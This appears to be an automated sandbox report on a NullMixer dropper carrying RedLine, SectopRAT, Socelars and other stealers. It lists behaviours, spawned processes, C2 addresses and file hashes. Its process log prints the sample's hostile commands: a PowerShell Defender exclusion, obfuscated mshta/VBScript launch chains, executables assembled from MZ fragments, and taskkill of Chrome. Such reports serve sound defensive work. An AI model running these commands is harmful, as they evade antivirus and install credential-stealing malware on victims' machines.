Analysis Overview
SHA256
0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cd
Threat Level: Known bad
The file 0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cdN.exe was found to be: Known bad.
Malicious Activity Summary
Gcleaner family
Socelars family
Privateloader family
Fabookie
Socelars payload
OnlyLogger
Nullmixer family
RedLine payload
NullMixer
Redline family
SectopRAT payload
RedLine
PrivateLoader
GCleaner
Onlylogger family
SectopRAT
Fabookie family
Socelars
Sectoprat family
Detect Fabookie payload
OnlyLogger payload
Command and Scripting Interpreter: PowerShell
ASPack v2.12-2.42
Reads user/profile data of web browsers
Checks computer location settings
Loads dropped DLL
Executes dropped EXE
Looks up external IP address via web service
Checks installed software on the system
Looks up geolocation information via web service
Legitimate hosting services abused for malware hosting/C2
Suspicious use of SetThreadContext
Program crash
System Location Discovery: System Language Discovery
Unsigned PE
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: GetForegroundWindowSpam
Checks SCSI registry key(s)
Suspicious behavior: EnumeratesProcesses
Kills process with taskkill
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-24 19:57
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-24 19:57
Reported
2024-11-24 19:59
Platform
win7-20240903-en
Max time kernel
2s
Max time network
121s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
PrivateLoader
Privateloader family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\setup_install.exe | N/A |
Loads dropped DLL
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri2050293ea5.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\setup_install.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cdN.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cdN.exe
"C:\Users\Admin\AppData\Local\Temp\0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cdN.exe"
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20109b9e174d0fc.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20ee0a6fe195bd09.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri200ae385720d3.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri2050293ea5.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri209f6924af86d795.exe /mixone
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20ba391d4469.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20d5530575e8aa3ed.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri2002ce5f91c761.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20c0c46650eeb2a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri209c4b463b.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri2002ce5f91c761.exe
Fri2002ce5f91c761.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20ee0a6fe195bd09.exe
Fri20ee0a6fe195bd09.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri2050293ea5.exe
Fri2050293ea5.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20ba391d4469.exe
Fri20ba391d4469.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri208f5f140853548.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20fbc038b0b02ea.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20e095683c2b3a0c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri209d5bfbb2.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri2060ea1c5d8fae8aa.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20109b9e174d0fc.exe
Fri20109b9e174d0fc.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri209f6924af86d795.exe
Fri209f6924af86d795.exe /mixone
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20e095683c2b3a0c.exe
Fri20e095683c2b3a0c.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20d5530575e8aa3ed.exe
Fri20d5530575e8aa3ed.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20fbc038b0b02ea.exe
Fri20fbc038b0b02ea.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri209d5bfbb2.exe
Fri209d5bfbb2.exe
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBSCript: CLose ( CrEAteOBjeCT ( "wsCrIPt.SHell").RUN( "CmD /Q /c TYPe ""C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20ba391d4469.exe"" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF """" == """" for %A iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20ba391d4469.exe"" ) do taskkill /f /IM ""%~NxA"" ", 0, true ))
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri200ae385720d3.exe
Fri200ae385720d3.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20c0c46650eeb2a.exe
Fri20c0c46650eeb2a.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri2060ea1c5d8fae8aa.exe
Fri2060ea1c5d8fae8aa.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri208f5f140853548.exe
Fri208f5f140853548.exe
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri208f5f140853548.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri208f5f140853548.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Users\Admin\AppData\Local\Temp\is-1IG7O.tmp\Fri20d5530575e8aa3ed.tmp
"C:\Users\Admin\AppData\Local\Temp\is-1IG7O.tmp\Fri20d5530575e8aa3ed.tmp" /SL5="$3017C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20d5530575e8aa3ed.exe"
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20d5530575e8aa3ed.exe
"C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20d5530575e8aa3ed.exe" /SILENT
C:\Users\Admin\AppData\Local\Temp\is-LQHT1.tmp\Fri20d5530575e8aa3ed.tmp
"C:\Users\Admin\AppData\Local\Temp\is-LQHT1.tmp\Fri20d5530575e8aa3ed.tmp" /SL5="$4017C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20d5530575e8aa3ed.exe" /SILENT
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2852 -s 272
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPe "C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20ba391d4469.exe" > EUUIXyGKjuAj.exe&&STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 &IF ""=="" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20ba391d4469.exe" ) do taskkill /f /IM "%~NxA"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri208f5f140853548.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri208f5f140853548.exe") do taskkill /F -Im "%~NxU"
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20fbc038b0b02ea.exe
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20fbc038b0b02ea.exe
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe
EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /IM "Fri20ba391d4469.exe"
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Fri208f5f140853548.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBSCript: CLose ( CrEAteOBjeCT ( "wsCrIPt.SHell").RUN( "CmD /Q /c TYPe ""C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe"" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF ""/pkrs9YKWRf3sVprfXBE2vA2Yg3 "" == """" for %A iN ( ""C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe"" ) do taskkill /f /IM ""%~NxA"" ", 0, true ))
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPe "C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe" > EUUIXyGKjuAj.exe&&STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 &IF "/pkrs9YKWRf3sVprfXBE2vA2Yg3 "=="" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\EUUIXyGKjuAj.exe" ) do taskkill /f /IM "%~NxA"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCript:CloSE ( CreAtEoBjEct( "WscRiPt.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /R eCHo | sET /P = ""MZ"" >nQBnLF9A.W & cOPy /b /y NQBNLF9A.W +pajqYZJ.O + NuWKOG5W.G+ 6QI2.~ + R4QR.JT +lFAf.j 6~IPcLZ.rj & sTaRT msiexec /Y .\6~iPCLZ.rJ " , 0 , tRUE ) )
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R eCHo | sET /P = "MZ" >nQBnLF9A.W & cOPy /b /y NQBNLF9A.W +pajqYZJ.O + NuWKOG5W.G+ 6QI2.~ + R4QR.JT+lFAf.j 6~IPcLZ.rj & sTaRT msiexec /Y .\6~iPCLZ.rJ
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHo "
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>nQBnLF9A.W"
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\SysWOW64\msiexec.exe
msiexec /Y .\6~iPCLZ.rJ
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2608 -s 480
C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
Network
| Country | Destination | Domain | Proto |
| NL | 45.133.1.107:80 | tcp | |
| NL | 45.133.1.107:80 | tcp | |
| US | 8.8.8.8:53 | t.gogamec.com | udp |
| US | 8.8.8.8:53 | hsiens.xyz | udp |
| US | 8.8.8.8:53 | www.listincode.com | udp |
| US | 8.8.8.8:53 | ppp-gl.biz | udp |
| US | 8.8.8.8:53 | iplogger.org | udp |
| US | 104.155.138.21:80 | ppp-gl.biz | tcp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 8.8.8.8:53 | propanla.com | udp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 142.250.200.3:80 | c.pki.goog | tcp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | topniemannpickshop.cc | udp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | niemannbest.me | udp |
| US | 8.8.8.8:53 | cdn.discordapp.com | udp |
| US | 162.159.133.233:443 | cdn.discordapp.com | tcp |
| US | 8.8.8.8:53 | www.iyiqian.com | udp |
| SG | 13.251.16.150:80 | www.iyiqian.com | tcp |
| US | 8.8.8.8:53 | all-mobile-pa1ments.com.mx | udp |
| US | 8.8.8.8:53 | buy-fantasy-football.com.sg | udp |
| US | 104.155.138.21:80 | ppp-gl.biz | tcp |
| US | 104.155.138.21:80 | ppp-gl.biz | tcp |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | pastebin.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| US | 104.20.3.235:443 | pastebin.com | tcp |
| US | 104.20.3.235:443 | pastebin.com | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | wfsdragon.ru | udp |
| US | 172.67.133.215:80 | wfsdragon.ru | tcp |
| FR | 51.178.186.149:80 | tcp | |
| US | 172.67.133.215:80 | wfsdragon.ru | tcp |
| FR | 51.178.186.149:80 | tcp | |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| US | 104.26.2.46:443 | iplogger.org | tcp |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.18.190.80:80 | crl.microsoft.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| FI | 135.181.129.119:4805 | tcp | |
| GB | 95.100.245.144:80 | www.microsoft.com | tcp |
| NL | 194.104.136.5:46013 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 45.9.20.13:80 | tcp | |
| FI | 135.181.129.119:4805 | tcp | |
| NL | 194.104.136.5:46013 | tcp | |
| FI | 135.181.129.119:4805 | tcp |
Files
\Users\Admin\AppData\Local\Temp\setup_installer.exe
| MD5 | 8f86dedab3baf5ffaaebb8a77d417737 |
| SHA1 | 2469e1057b3a544402d57a602a916b0663a8ff8c |
| SHA256 | b25679ef641f0a807ef8200eb0ec464680dfdfff23b42bad85099b140c5d5630 |
| SHA512 | 2f70caeb89da15a3b1222b52cf49b09af61937b1bf92b5c0baad4d222a9c02f30e174cc9bd8078531fac26213fb990ab1cac78b13f38e7cbc75389685b0ec61c |
\Users\Admin\AppData\Local\Temp\7zSCBA438A6\setup_install.exe
| MD5 | 789258af8927e9426e113f79a5c2ebcf |
| SHA1 | 6c64f717f5fc68e602760fefbc2221fd35fd7530 |
| SHA256 | f17e3e76cebd7d97c927151c727d210dca439be0142db2db5a0ccc70d95b9923 |
| SHA512 | 20cbd892411768fd4774fcb9f47f4eff754687808e58af8597714030e0705b53072b0128b8c32f5254836664276b242f8327427d0d6975cdfe6c3a90f4945ec3 |
\Users\Admin\AppData\Local\Temp\7zSCBA438A6\libcurl.dll
| MD5 | d09be1f47fd6b827c81a4812b4f7296f |
| SHA1 | 028ae3596c0790e6d7f9f2f3c8e9591527d267f7 |
| SHA256 | 0de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e |
| SHA512 | 857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595 |
memory/2608-72-0x000000006B440000-0x000000006B4CF000-memory.dmp
\Users\Admin\AppData\Local\Temp\7zSCBA438A6\libgcc_s_dw2-1.dll
| MD5 | 9aec524b616618b0d3d00b27b6f51da1 |
| SHA1 | 64264300801a353db324d11738ffed876550e1d3 |
| SHA256 | 59a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e |
| SHA512 | 0648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0 |
memory/2608-69-0x000000006B280000-0x000000006B2A6000-memory.dmp
\Users\Admin\AppData\Local\Temp\7zSCBA438A6\libstdc++-6.dll
| MD5 | 5e279950775baae5fea04d2cc4526bcc |
| SHA1 | 8aef1e10031c3629512c43dd8b0b5d9060878453 |
| SHA256 | 97de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87 |
| SHA512 | 666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02 |
memory/2608-80-0x000000006FE40000-0x000000006FFC6000-memory.dmp
\Users\Admin\AppData\Local\Temp\7zSCBA438A6\libcurlpp.dll
| MD5 | e6e578373c2e416289a8da55f1dc5e8e |
| SHA1 | b601a229b66ec3d19c2369b36216c6f6eb1c063e |
| SHA256 | 43e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f |
| SHA512 | 9df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89 |
\Users\Admin\AppData\Local\Temp\7zSCBA438A6\libwinpthread-1.dll
| MD5 | 1e0d62c34ff2e649ebc5c372065732ee |
| SHA1 | fcfaa36ba456159b26140a43e80fbd7e9d9af2de |
| SHA256 | 509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723 |
| SHA512 | 3653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61 |
memory/2608-83-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2608-82-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2608-85-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2608-89-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2608-88-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2608-86-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2608-84-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2608-81-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2608-87-0x000000006FE40000-0x000000006FFC6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri209f6924af86d795.exe
| MD5 | 1902e1df4ecf3bf7bcfc0c53b992cd24 |
| SHA1 | a0c9cde0b2113466a820fa6ebcccfdcd93b26b97 |
| SHA256 | c3bf5a1821e67a8d734ce91cb75b6878457f69ea3211a6c1405bfd30759f2720 |
| SHA512 | 37dbad160b91e1fc2079a46e77c8d261ad4f4dbbdfcc4d1c5ea70beeb10d271d48a13ef3b3c76a4878b4187d08a66097cb5a8cf77531a4c0df5914d3be2296b6 |
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri2002ce5f91c761.exe
| MD5 | 39fbed3967544cc6a59e1d1152cdcc35 |
| SHA1 | b9e974a506f3be7fc78574ae008e7686093eb82d |
| SHA256 | cb9c63211d26b56dff5651f9fc8a872fd9aab26dfa32df84086aa86ab39810e6 |
| SHA512 | cade223df33187f024aaf18794f5890c08cc3387f3e3417908220cc690a55275b558a83e219fb45c98b5c728746fb211d6a68eec0a7e62d08f4b05cc07b8ede3 |
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20ba391d4469.exe
| MD5 | 85ef31a707d583032b8526d16e8883a8 |
| SHA1 | 16beed53fc46bf75cf4081d73dc843f4d8298569 |
| SHA256 | bce2f04e884c2dd6e799861898546be00a745fa1e743ce51044d2232065d2409 |
| SHA512 | 8e2ca4555b5741400559244bd37e0be09b18e246026e3d0507b02956c27fdc9dabca55672cbd8a52a5832fe66c6da3fe1e649a1cfad101f9c655aa20aa1da31b |
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri2050293ea5.exe
| MD5 | 7d44a083f0e81baf1ecb264b93bdc9a5 |
| SHA1 | 4dd23b40065e2ccfbdd4c79386d7e2d37a53efce |
| SHA256 | 073b1354e582f8fd758bd128d764fd305d50d76fc45147eb1240e8a402ed1da5 |
| SHA512 | 245827096522beb8b54a60ad3549cd7509ab35fe650cb2f7d6b48f4cf76430c25c3162ff284d78b19d2351457bbfbd0d2d71751abeb703fef3e2736ab6825c82 |
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri209c4b463b.exe
| MD5 | a729d63514511766fcdd2de19cdbd017 |
| SHA1 | 737827e5c0ab0adc287d3b3bb16d26a9a42f0939 |
| SHA256 | 6dda16414ec5a7f6908f6088ea5edb7c67b024c3f695fbf7048ab823bcfee728 |
| SHA512 | ad6bc65c950a94383f3f1d987508d22167343db632412b74d4734482916a7c18981dc8d84c57109f0882f6c5c6f280db876bafd24837f06996614d1bb9ce6ee2 |
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20fbc038b0b02ea.exe
| MD5 | a98672182143436478fdb3806ef6cd5a |
| SHA1 | 5d93bb55d9e7915afb11361f42a4c9c6393718b3 |
| SHA256 | 2010cb8b8069ae8e5527526b36f28b78766473b71b67d601351eb361dbef8528 |
| SHA512 | 0d2de593d1e194895833396c49efe194fca56afa3396e6aa41f8a51e961ea4f1ca97697ace0625ea97f5dfe7092b75049c58e582dda122cbc7966cb9a5d18892 |
\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20ee0a6fe195bd09.exe
| MD5 | 06ee576f9fdc477c6a91f27e56339792 |
| SHA1 | 4302b67c8546d128f3e0ab830df53652f36f4bb0 |
| SHA256 | 035373a454afd283da27ebf569ab355be7db470a1a30c3695e18c984b785e1f8 |
| SHA512 | e5b337158905651e2740378615fcd9a8ba2b5e46f02c75be20c22e89b4cb40e8f1dfec1c5c1135f4d59114da9200a772f591622eddb865880b296321d80fb616 |
